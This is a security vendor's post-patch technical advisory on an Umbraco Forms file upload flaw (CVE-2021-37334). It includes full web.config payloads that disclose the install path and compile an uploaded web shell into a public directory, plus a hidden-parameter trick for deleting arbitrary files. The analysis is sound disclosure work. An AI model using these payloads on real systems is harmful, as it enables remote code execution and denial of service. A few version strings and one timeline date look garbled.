Umbraco Forms File Upload Vulnerability: Technical Analysis (CVE-2021-37334)
Research / Security Alerts / Posted August 25, 2021
Umbraco Forms Insecure File Upload Vulnerability
On the 15th of July 2021 Umbraco and AppCheck released a Security Advisory to alert users of a vulnerability within the Umbraco Forms component that could be exploited to gain remote code execution on the affected system. A patch was made available on the 20th of July 2021.
The advisory and patch can be found here: https://umbraco.com/blog/security-advisory-20th-of-july-2021-patch-is-now-available/
Technical details were omitted from the original advisory to ensure administrators had adequate time to resolve the vulnerability before discussing specific technical details.
This blog post is a follow up to our original publication and provides a technical analysis of the flaw including the methods and techniques attacker might use to discover and exploit the vulnerability.
The AppCheck research team periodically performs deep dive reviews of popular Content Management System (CMS) Platforms to identify previously undisclosed security flaws within the Core CMS and popular extensions. Throughout July 2021, our focus was around popular .NET CMS systems such as Umbraco, SiteCore, DotNetNuke and SiteFinity. At a high level, our methodology involves installing each CMS in line with the vendors recommendations, apply recommended security lockdown procedures and install the most popular add-ons and extensions. Using the source code (where available) as a guide, each CMS component is analysed for vulnerabilities using both code analysis, local instrumentation, and Dynamic Application Security Testing (DAST) techniques.
Identified vulnerabilities are reported to the vendor and typically resolved through a software update. Detection capabilities are added to the AppCheck scanner ahead of the patch whenever there is a reasonable workaround in leu of the official fix.
The first vulnerability from this round of research is within the popular Umbraco Forms application. Although Umbraco wasn’t the first CMS to be analysed, the Umbraco security team were the most proactive vendor in resolving the vulnerabilities reported to them taking just 6 days from initial report to alerting their users. Further advisories covering other platforms will follow at a later date once official patches are available.
2.0 Background: Investigating the File upload component
The Umbraco Forms application includes the ability to add a file upload component to any page across the application. The form component includes several options including the ability to restrict uploaded files based on type and lock down access to the files once they are uploaded. For the purpose of this advisory, the options here do not impact the exploitability of the vulnerability and therefore each option is using its default or most restrictive value.
When the user submits a file to be uploaded, the application first saves the file to a temporary directory. The temporary file path is created by combining the upload base path at “%BASEDIR%/APP_DATA/TEMP/FileUploads/” with a randomly generated GUID value (e.g. 94d74acd-45f6-47e4-af0c-8e89474daacf) and the file name supplied by the user. In this case %BASEDIR% refers to the web server root directory.
The file name is then validated against a list of permitted file types before being moved into the final upload directory. If the file is not permitted, an error message is returned to the user and the file remains in the temporary directory.
At this point, the application appears to be vulnerable to a classic file upload attack whereby the attacker uploads a malicious .aspx script file and then accesses it with a web browser to execute it. Many of the ingredients for this attack are present, validation occurs after the file is stored on the file system, and the target directory a sub directory of the web root.
However, access to the “APP_DATA” directory and any sub directory is restricted by Microsoft IIS, and unless the configuration has been changed to allow access, dangerous files can be uploaded but there is no way to directly access them.
Typically, when analyzing a case like this, the next step is to look for ways in which the upload path can be manipulated to store the file outside of a restricted path. There are two common methods to achieve this:
Adding a traversal string to the file path such as ../ can in some cases cause the application to back out of the current directory and save the file in a parent directory. For example, if the attacker can supply the file name “../../../evil.aspx” and this is then added to the temporary directory, the resulting path becomes “APP_DATA/TEMP/FileUploads/../../../evil.aspx“. When this path is processed by the OS, the ../ sequences traverse through the path segments before them, resulting in the file being written to the web root as “/evil.aspx”
Another approach involves attempting to truncate the path following validation so that only part of the path is used when creating the file, but the full path is used during validation. For example, at a low level, strings held in memory are terminated using null bytes, represented as [0x00] for this example. If the attacker can supply the file name “/evil.aspx[0x00]/puppies.jpg”, a vulnerability can occur whereby high-level code within .NET does not consider the null byte to mean the string has ended, but lower-level system function used to create the file does. In this scenario validation code assumes the file extension to be a permitted type (.jpg) but the file is written up to the null as /evil.aspx.
Both attacks and variants of them were investigated but to no avail. This is due to the “FileHelper.SafeUrl” function that processes our filename before adding it to the path. This function converts or removes dangerous characters and prevents the more common attack methodologies from succeeding.
2.1 Gaining Remote Code Execution
Although we cannot immediately access our uploaded files, we can upload any file including a web.config file.
ASP.NET applications use a configuration file named web.config within the application root that defines the configuration for the environment. Unless specifically denied (by adding allowOverride=False to the primary file), it is also possible to include further web.config files in subdirectories to override the global configuration for that specific path. Umbraco uses multiple web.config files by default and therefore this configuration is part of the expected behaviour.
Since we are able to upload our own web.config file, it is possible to redefine the configuration for the temporary directory, including removing “APP_DATA” from the “hidden segments” property so it is no longer restricted.
There is however one more obstacle to overcome. Each uploaded file is added to a sub directory using a randomly generated GUID. Therefore, we are unable to get both our web.config file and malicious script file within the same directory. Although we can permit access to the normally restricted path, this is only applied when accessing the path containing the web.config file but is not applied when accessing the uploaded script file.
However, the web.config file is a complex beast that presents a huge attack surface to explore. A researcher named Soroush Dalili (@irsdl) published two blog posts on the subject, one in 2014 and again in 2019 exploring the different options available to the attacker when presented with this scenario.
Several of the suggested techniques were viable in our test environment using Microsoft IIS 10 and Umbraco 8.14.1.
One of the more reliable methods abuses compiler options within web.config to create a “web shell” within a publicly accessible directory, we’ll use this method for our example below.
2.1.1 Disclose the physical path of the Umbraco install
The first step of the attack is to upload a web.config file designed to disclose the physical path for the Umbraco installation, this is required for further steps in the attack. Since custom error messages may be used, our uploaded file disables those for the temporary upload directory:
<?xml version="1.0" encoding="UTF-8"?> <configuration> <system.web> <customErrors mode="Off" /> IDontExist! </system.web> </configuration>
The application will return an error stating that the file could not be uploaded, however the file was saved to the temporary directory before the validation step returned the error. The relative file path can be found by searching for ~/app_data/ within the page source.
The web.config file can be accessed by adding the returned path to the root URL, this will trigger an error disclosing the physical path. In this example the path is “C:\vulnerable_software\Umbraco8.14.1\”.
2.1.2 Upload the webshell.
The next step in the attack is to upload the code that will be inserted into the final script file. The extension doesn’t matter, we simply need to upload the file and document the path it was uploaded to as in the previous step. In this case the uploaded a file is named “shell.x” and contains code to execute the system command “dir c:\windows\system32”.
The following path was returned by the application:
2.1.3 Copy the WebShell to an accessible directory.
The final part of the attack is to upload a web.config file that invokes a .NET compiler that creates and output file containing our script code. The compilerOptions property should include the uploaded shell source within the /resource option and the destination script path within the /out option. Note that we include the full file path using the physical path disclosed in the first step:
compilerOptions='/resource:"C:\vulnerable_software\Umbraco8.14.1\app_data\TEMP\FileUploads\630db2c4-15ee-484c-98d9-6d5c5f53cf0e\shell.x" /out:"C:\vulnerable_software\Umbraco8.14.1\Umbraco\Views\shell.aspx" #'/>
<?xml version="1.0" encoding="UTF-8"?> <configuration> <system.web> <httpRuntime targetFramework="4.67.1"/> <compilation tempDirectory="" debug="True" strict="False" explicit="False" batch="True" batchTimeout="900" maxBatchSize="1000" maxBatchGeneratedFileSize="1000" numRecompilesBeforeAppRestart="15" defaultLanguage="c#" targetFramework="4.0" urlLinePragmas="False" assemblyPostProcessorType=""> <assemblies> </assemblies> <expressionBuilders> </expressionBuilders> <compilers> <compiler language="c#" extension=".cs;.config" type="Microsoft.CSharp.CSharpCodeProvider,System, Version=18.104.22.168, Culture=neutral, PublicKeyToken=b77a5c561934e089" warningLevel="4" compilerOptions='/resource:"C:\vulnerable_software\Umbraco8.14.1\app_data\TEMP\FileUploads\630db2c4-15ee-484c-98d9-6d5c5f53cf0e\shell.x" /out:"C:\vulnerable_software\Umbraco8.14.1\Umbraco\Views\shell.aspx" #'/> </compilers> </compilation> </system.web> <system.webServer> <handlers> <add name="web_config" path="web.config" verb="*" type="System.Web.UI.PageHandlerFactory" resourceType="File" requireAccess="Script" preCondition="integratedMode" /> </handlers> <security> <requestFiltering> <hiddenSegments> <remove segment="web.config" /> <remove segment="App_Data" /> </hiddenSegments> <fileExtensions> <remove fileExtension=".config" /> </fileExtensions> </requestFiltering> </security> </system.webServer> </configuration>
Note that it is expected to see an error when accessing this web.config file.
Finally, the shell should now be accessible via the https(s)://umbraco_server/Umbraco/Views/Shell.aspx URL.
WebShell Executing “dir c:\windows\system32”:
2.2 Arbitrary File Deletion
You may be wondering why the temporary file path is returned after each upload, after all, thanks to the use of a GUID, if we didn’t have this then it would be almost impossible to access the uploaded web.config file in each step.
It turns out that the path is returned as a form parameter when the file upload fails. When the user attempts a subsequent upload, this parameter is then submitted back to the application and used to delete the previous temporary file.
Hidden file path parameter:
<strong>Current File/s:</strong><br /> <a>evil_script.aspx</a><br /> <input type="hidden" name="da120324-f70f-4161-a6ee-1773b753ea28_file_evil_script.aspx" value="~/app_data/TEMP/FileUploads/1c4554d5-33d7-4a4b-bfda-fea75e5727be/evil_script.aspx" /> </p> <span class="field-validation-error" data-valmsg-for="da120324-f70f-4161-a6ee-1773b753ea28" data-valmsg-replace="true">The file type (.aspx) you tried to upload is not allowed.</span>
It is assumed this was intended to be a clean-up mechanism to be invoked when the user corrected their mistake and uploads a permitted file. However, this file path is not validated and can be abused to delete any file from the system, including files outside of the web root.
This flaw could be exploited to cause a persistent denial of service condition by deleting a key file such as ~/web.config.
AppCheck would like to thank Umbraco and specifically Sebastiaan Janssen in the security team, and the developers who worked on the patch for their prompt and professional response to the discovery of this vulnerability. The timeline from initial report through to patch release was exceptionally short and is well above industry norms where 90-day periods are not uncommon.
Security reports from third party researchers arrive unexpectedly and require that attention be diverted away from other tasks in order to work on a resolution. With that in mind we feel the timeline outline below is particularly impressive:
8th July 2021 – Initial report as RCE
9th July 2021 – Finding confirmed by Umbraco
12th July 2012 – Patch Provided for testing
15th July 2021 – Umbraco customers alerted and provided with a patch timeline
15th July 2021 – AppCheck releases an advisory echoing the Umbraco advisory
20th July 2021 – Patch released
24th July 2021 – Detailed Technical advisory published.
Get started with Appcheck
No software to download or install.
Contact us or call us 0113 887 8380